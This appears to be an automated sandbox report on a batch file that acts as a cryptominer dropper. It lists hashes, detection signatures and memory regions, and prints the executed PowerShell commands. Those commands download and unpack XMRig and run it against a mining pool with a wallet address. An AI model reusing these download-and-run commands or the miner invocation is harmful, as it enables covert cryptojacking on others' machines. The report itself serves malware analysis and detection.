Analysis

  • max time kernel
    1788s
  • max time network
    1787s
  • platform
    windows10-1703_x64
  • resource
    win10-20231215-en
  • resource tags

    arch:x64arch:x86image:win10-20231215-enlocale:en-usos:windows10-1703-x64system
  • submitted
    25/12/2023, 07:36

General

  • Target

    tesy - Copy (13).bat

  • Size

    608B

  • MD5

    727c8da0478af118c957ae60f7161cab

  • SHA1

    cf18105b8659e93bbd2824fa35ef1bae7b395301

  • SHA256

    97db0437ecb6f401a4674dceead7b17a885241f2ab2495652863d2240f3bedab

  • SHA512

    d9cbb46d5f3caa92d3b44301bc96ccfd5552f2ab3e5460362db3b59d23e0a5c34bf78e9387009092ac5c92b4423c03789aa1fc824a4e1388a1363daa6ab54e01

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip

Signatures

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 63 IoCs
  • Blocklisted process makes network request 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip', 'xmrig-6.21.0-gcc-win64.zip')"
    1⤵
    • Blocklisted process makes network request
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:2952
  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (13).bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4252
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Expand-Archive -Path 'xmrig-6.21.0-gcc-win64.zip' -DestinationPath '.'"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4292
    • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe
      xmrig.exe --url pool.hashvault.pro:80 --user 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ --pass tria2 --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:2504

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

  • memory/2504-149-0x00007FF7D4BF0000-0x00007FF7D56F3000-memory.dmp

    Filesize

    11.0MB

  • memory/2504-147-0x00007FF7D4BF0000-0x00007FF7D56F3000-memory.dmp

    Filesize

    11.0MB

  • memory/2504-122-0x00007FF7D4BF0000-0x00007FF7D56F3000-memory.dmp

    Filesize

    11.0MB

  • memory/2504-124-0x000002B3428B0000-0x000002B3428D0000-memory.dmp

    Filesize

    128KB

  • memory/2504-125-0x000002B3428D0000-0x000002B3428F0000-memory.dmp

    Filesize

    128KB

  • memory/2504-188-0x00007FF7D4BF0000-0x00007FF7D56F3000-memory.dmp

    Filesize

    11.0MB

  • memory/2504-187-0x00007FF7D4BF0000-0x00007FF7D56F3000-memory.dmp

    Filesize

    11.0MB

  • memory/2504-186-0x00007FF7D4BF0000-0x00007FF7D56F3000-memory.dmp

    Filesize

    11.0MB

  • memory/2504-185-0x00007FF7D4BF0000-0x00007FF7D56F3000-memory.dmp

    Filesize

    11.0MB

  • memory/2504-184-0x00007FF7D4BF0000-0x00007FF7D56F3000-memory.dmp

    Filesize

    11.0MB

  • memory/2504-183-0x00007FF7D4BF0000-0x00007FF7D56F3000-memory.dmp

    Filesize

    11.0MB

  • memory/2504-182-0x00007FF7D4BF0000-0x00007FF7D56F3000-memory.dmp

    Filesize

    11.0MB

  • memory/2504-181-0x00007FF7D4BF0000-0x00007FF7D56F3000-memory.dmp

    Filesize

    11.0MB

  • memory/2504-180-0x00007FF7D4BF0000-0x00007FF7D56F3000-memory.dmp

    Filesize

    11.0MB

  • memory/2504-179-0x00007FF7D4BF0000-0x00007FF7D56F3000-memory.dmp

    Filesize

    11.0MB

  • memory/2504-178-0x00007FF7D4BF0000-0x00007FF7D56F3000-memory.dmp

    Filesize

    11.0MB

  • memory/2504-177-0x00007FF7D4BF0000-0x00007FF7D56F3000-memory.dmp

    Filesize

    11.0MB

  • memory/2504-151-0x00007FF7D4BF0000-0x00007FF7D56F3000-memory.dmp

    Filesize

    11.0MB

  • memory/2504-123-0x00007FF7D4BF0000-0x00007FF7D56F3000-memory.dmp

    Filesize

    11.0MB

  • memory/2504-126-0x00007FF7D4BF0000-0x00007FF7D56F3000-memory.dmp

    Filesize

    11.0MB

  • memory/2504-128-0x000002B3428B0000-0x000002B3428D0000-memory.dmp

    Filesize

    128KB

  • memory/2504-127-0x00007FF7D4BF0000-0x00007FF7D56F3000-memory.dmp

    Filesize

    11.0MB

  • memory/2504-129-0x000002B3428D0000-0x000002B3428F0000-memory.dmp

    Filesize

    128KB

  • memory/2504-130-0x00007FF7D4BF0000-0x00007FF7D56F3000-memory.dmp

    Filesize

    11.0MB

  • memory/2504-131-0x00007FF7D4BF0000-0x00007FF7D56F3000-memory.dmp

    Filesize

    11.0MB

  • memory/2504-132-0x00007FF7D4BF0000-0x00007FF7D56F3000-memory.dmp

    Filesize

    11.0MB

  • memory/2504-133-0x00007FF7D4BF0000-0x00007FF7D56F3000-memory.dmp

    Filesize

    11.0MB

  • memory/2504-134-0x00007FF7D4BF0000-0x00007FF7D56F3000-memory.dmp

    Filesize

    11.0MB

  • memory/2504-135-0x00007FF7D4BF0000-0x00007FF7D56F3000-memory.dmp

    Filesize

    11.0MB

  • memory/2504-136-0x00007FF7D4BF0000-0x00007FF7D56F3000-memory.dmp

    Filesize

    11.0MB

  • memory/2504-137-0x00007FF7D4BF0000-0x00007FF7D56F3000-memory.dmp

    Filesize

    11.0MB

  • memory/2504-138-0x00007FF7D4BF0000-0x00007FF7D56F3000-memory.dmp

    Filesize

    11.0MB

  • memory/2504-139-0x00007FF7D4BF0000-0x00007FF7D56F3000-memory.dmp

    Filesize

    11.0MB

  • memory/2504-140-0x00007FF7D4BF0000-0x00007FF7D56F3000-memory.dmp

    Filesize

    11.0MB

  • memory/2504-141-0x00007FF7D4BF0000-0x00007FF7D56F3000-memory.dmp

    Filesize

    11.0MB

  • memory/2504-142-0x00007FF7D4BF0000-0x00007FF7D56F3000-memory.dmp

    Filesize

    11.0MB

  • memory/2504-143-0x00007FF7D4BF0000-0x00007FF7D56F3000-memory.dmp

    Filesize

    11.0MB

  • memory/2504-144-0x00007FF7D4BF0000-0x00007FF7D56F3000-memory.dmp

    Filesize

    11.0MB

  • memory/2504-145-0x00007FF7D4BF0000-0x00007FF7D56F3000-memory.dmp

    Filesize

    11.0MB

  • memory/2504-146-0x00007FF7D4BF0000-0x00007FF7D56F3000-memory.dmp

    Filesize

    11.0MB

  • memory/2504-150-0x00007FF7D4BF0000-0x00007FF7D56F3000-memory.dmp

    Filesize

    11.0MB

  • memory/2504-148-0x00007FF7D4BF0000-0x00007FF7D56F3000-memory.dmp

    Filesize

    11.0MB

  • memory/2504-121-0x000002B342890000-0x000002B3428B0000-memory.dmp

    Filesize

    128KB

  • memory/2504-120-0x000002B342860000-0x000002B342880000-memory.dmp

    Filesize

    128KB

  • memory/2504-176-0x00007FF7D4BF0000-0x00007FF7D56F3000-memory.dmp

    Filesize

    11.0MB

  • memory/2504-152-0x00007FF7D4BF0000-0x00007FF7D56F3000-memory.dmp

    Filesize

    11.0MB

  • memory/2504-153-0x00007FF7D4BF0000-0x00007FF7D56F3000-memory.dmp

    Filesize

    11.0MB

  • memory/2504-154-0x00007FF7D4BF0000-0x00007FF7D56F3000-memory.dmp

    Filesize

    11.0MB

  • memory/2504-155-0x00007FF7D4BF0000-0x00007FF7D56F3000-memory.dmp

    Filesize

    11.0MB

  • memory/2504-156-0x00007FF7D4BF0000-0x00007FF7D56F3000-memory.dmp

    Filesize

    11.0MB

  • memory/2504-157-0x00007FF7D4BF0000-0x00007FF7D56F3000-memory.dmp

    Filesize

    11.0MB

  • memory/2504-158-0x00007FF7D4BF0000-0x00007FF7D56F3000-memory.dmp

    Filesize

    11.0MB

  • memory/2504-159-0x00007FF7D4BF0000-0x00007FF7D56F3000-memory.dmp

    Filesize

    11.0MB

  • memory/2504-160-0x00007FF7D4BF0000-0x00007FF7D56F3000-memory.dmp

    Filesize

    11.0MB

  • memory/2504-161-0x00007FF7D4BF0000-0x00007FF7D56F3000-memory.dmp

    Filesize

    11.0MB

  • memory/2504-162-0x00007FF7D4BF0000-0x00007FF7D56F3000-memory.dmp

    Filesize

    11.0MB

  • memory/2504-163-0x00007FF7D4BF0000-0x00007FF7D56F3000-memory.dmp

    Filesize

    11.0MB

  • memory/2504-164-0x00007FF7D4BF0000-0x00007FF7D56F3000-memory.dmp

    Filesize

    11.0MB

  • memory/2504-165-0x00007FF7D4BF0000-0x00007FF7D56F3000-memory.dmp

    Filesize

    11.0MB

  • memory/2504-166-0x00007FF7D4BF0000-0x00007FF7D56F3000-memory.dmp

    Filesize

    11.0MB

  • memory/2504-167-0x00007FF7D4BF0000-0x00007FF7D56F3000-memory.dmp

    Filesize

    11.0MB

  • memory/2504-168-0x00007FF7D4BF0000-0x00007FF7D56F3000-memory.dmp

    Filesize

    11.0MB

  • memory/2504-169-0x00007FF7D4BF0000-0x00007FF7D56F3000-memory.dmp

    Filesize

    11.0MB

  • memory/2504-170-0x00007FF7D4BF0000-0x00007FF7D56F3000-memory.dmp

    Filesize

    11.0MB

  • memory/2504-171-0x00007FF7D4BF0000-0x00007FF7D56F3000-memory.dmp

    Filesize

    11.0MB

  • memory/2504-172-0x00007FF7D4BF0000-0x00007FF7D56F3000-memory.dmp

    Filesize

    11.0MB

  • memory/2504-173-0x00007FF7D4BF0000-0x00007FF7D56F3000-memory.dmp

    Filesize

    11.0MB

  • memory/2504-174-0x00007FF7D4BF0000-0x00007FF7D56F3000-memory.dmp

    Filesize

    11.0MB

  • memory/2504-175-0x00007FF7D4BF0000-0x00007FF7D56F3000-memory.dmp

    Filesize

    11.0MB

  • memory/2952-25-0x00000277D5D20000-0x00000277D5D30000-memory.dmp

    Filesize

    64KB

  • memory/2952-9-0x00000277D5D20000-0x00000277D5D30000-memory.dmp

    Filesize

    64KB

  • memory/2952-7-0x00000277D5D20000-0x00000277D5D30000-memory.dmp

    Filesize

    64KB

  • memory/2952-29-0x00000277D5D20000-0x00000277D5D30000-memory.dmp

    Filesize

    64KB

  • memory/2952-28-0x00000277D5D20000-0x00000277D5D30000-memory.dmp

    Filesize

    64KB

  • memory/2952-27-0x00000277D5D20000-0x00000277D5D30000-memory.dmp

    Filesize

    64KB

  • memory/2952-26-0x00007FFCA5B80000-0x00007FFCA656C000-memory.dmp

    Filesize

    9.9MB

  • memory/2952-5-0x00007FFCA5B80000-0x00007FFCA656C000-memory.dmp

    Filesize

    9.9MB

  • memory/2952-10-0x00000277EE2D0000-0x00000277EE346000-memory.dmp

    Filesize

    472KB

  • memory/2952-4-0x00000277EE120000-0x00000277EE142000-memory.dmp

    Filesize

    136KB

  • memory/2952-34-0x00007FFCA5B80000-0x00007FFCA656C000-memory.dmp

    Filesize

    9.9MB

  • memory/4292-38-0x00007FFCA5B80000-0x00007FFCA656C000-memory.dmp

    Filesize

    9.9MB

  • memory/4292-42-0x000002C2F7290000-0x000002C2F72A0000-memory.dmp

    Filesize

    64KB

  • memory/4292-41-0x000002C2F7290000-0x000002C2F72A0000-memory.dmp

    Filesize

    64KB

  • memory/4292-66-0x000002C2F7290000-0x000002C2F72A0000-memory.dmp

    Filesize

    64KB

  • memory/4292-93-0x000002C2F7210000-0x000002C2F721A000-memory.dmp

    Filesize

    40KB

  • memory/4292-80-0x000002C2F7620000-0x000002C2F7632000-memory.dmp

    Filesize

    72KB

  • memory/4292-117-0x00007FFCA5B80000-0x00007FFCA656C000-memory.dmp

    Filesize

    9.9MB